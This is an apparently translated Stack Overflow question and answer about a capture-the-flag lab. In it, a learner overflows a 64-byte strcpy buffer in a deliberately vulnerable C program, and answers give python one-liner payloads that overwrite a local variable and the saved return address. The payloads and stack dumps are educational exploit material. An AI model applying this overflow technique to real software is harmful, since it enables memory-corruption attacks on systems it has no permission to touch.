【问题标题】:overflowing the stack into a variable confusion(computer security)堆栈溢出导致变量混乱(计算机安全)
【发布时间】:2013-04-24 21:06:19
【问题描述】:

我正在通过我在网上找到的一本书来学习计算机安全(对这些东西很陌生,放轻松!),其中一章教你如何溢出堆栈。程序中用到的函数是:

void vuln(int tmp, char *str) {
    //attempting to overflow into tmp, setting win accordingly
    int win = tmp;
    //overflowing this array!
    char buf[64];
    strcpy(buf, str);
    dump_stack((void **) buf, 23, (void **) &tmp);
    printf("win = %d\n", win);
    if (win == 1) {
        printf("You win!\n");
    } else {
        printf("Sorry, you lose.\n");
    }
    exit(0);
}

我想做的是溢出buf并将tmp的值设置为1,相应地设置win并让我获胜。

目前我正在使用快速 python 脚本打印出 84 个字母 'A' 到堆栈填充到我想要设置值的变量的位置。这是我在命令提示符下的调用:

./simple_overwrite $(python -c "print 'A'*84) 

给出的输出是:

Stack dump:
> 0xffffd614: 0xffffd803 (second argument)
> 0xffffd610: 0x00000000 (first argument)
> 0xffffd60c: 0x41414141 (saved eip)
> 0xffffd608: 0x41414141 (saved ebp)
> 0xffffd604: 0x41414141
> 0xffffd600: 0x41414141
> 0xffffd5fc: 0x41414141
> 0xffffd5f8: 0x41414141
> 0xffffd5f4: 0x41414141
> 0xffffd5f0: 0x41414141
> 0xffffd5ec: 0x41414141
> 0xffffd5e8: 0x41414141
> 0xffffd5e4: 0x41414141
> 0xffffd5e0: 0x41414141
> 0xffffd5dc: 0x41414141
> 0xffffd5d8: 0x41414141
> 0xffffd5d4: 0x41414141
> 0xffffd5d0: 0x41414141
> 0xffffd5cc: 0x41414141
> 0xffffd5c8: 0x41414141
> 0xffffd5c4: 0x41414141
> 0xffffd5c0: 0x41414141
> 0xffffd5bc: 0x41414141 (beginning of buffer)
> win = 1094795585
> Sorry, you lose.

虽然我不太确定在脚本之后输入什么以将地址设置为指向 1 的值,但我尝试了 0x1 和 1 但都没有成功。非常感谢任何帮助,谢谢!

附:我知道这是一个非常糟糕的做法,但请记住,这是关于计算机安全的,我绝不希望在本教程之外使用它。

【问题讨论】:

  • 为什么你认为了解这些问题是一件的事情?因为知识是危险的? 了解漏洞是如何发生的以及一些漏洞是如何被利用的通常具有学习避免首先创建它们的副作用。
  • 我假设您正在参加我正在帮助运行的 PicoCTF 比赛。正如我们在FAQ 页面上明确指出的那样,这是被视为作弊:“与其他团队共享密钥或提供过度暴露的提示是作弊,就像由团队外部人员直接协助一样(使用互联网上的工具是可以的;请互联网上的人帮助您解决问题不是)。” ~ PicoCTF 版主

标签: c assembly stack buffer-overflow


【解决方案1】:

您已将 win 设置为 0x41414141。您想将其设置为1。试试这样的:

./simple_overwrite $(python -c "print 'A'*64 + '\x00\x00\x00\x01'") 

或者'\x01\x00\x00\x00',取决于您计算机的字节序。

【讨论】:

  • 你太棒了!感谢您的帮助,如果您不介意我还有一个关于缓冲区溢出的问题。如果我想真正修改该论点tmp,我将如何在不搞砸保存的eip和edp的情况下做到这一点?我知道这是可能的,但我不确定如何将这些保存的值“跳过”到 tmp 中。
  • 我只是在这里猜测,但我会在没有溢出的情况下运行程序(例如print 'A'*4),并且我会观察 dump_stack 显示的值。然后我再次运行程序,将这些观察到的值放入打印语句(print 'A'*64+'\x00\x00\x00\x01'+'\xc8\x00\x94\x24' 或其他)。这样,即使您仍在覆盖已保存的 EIP 和已保存的 EBP,您也会用正确的值覆盖它们。请注意,如果您启用了address-space-randomization,此技术将不起作用。
猜你喜欢
  • 1970-01-01
  • 2015-05-21
  • 2014-02-14
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2016-11-10
相关资源
最近更新 更多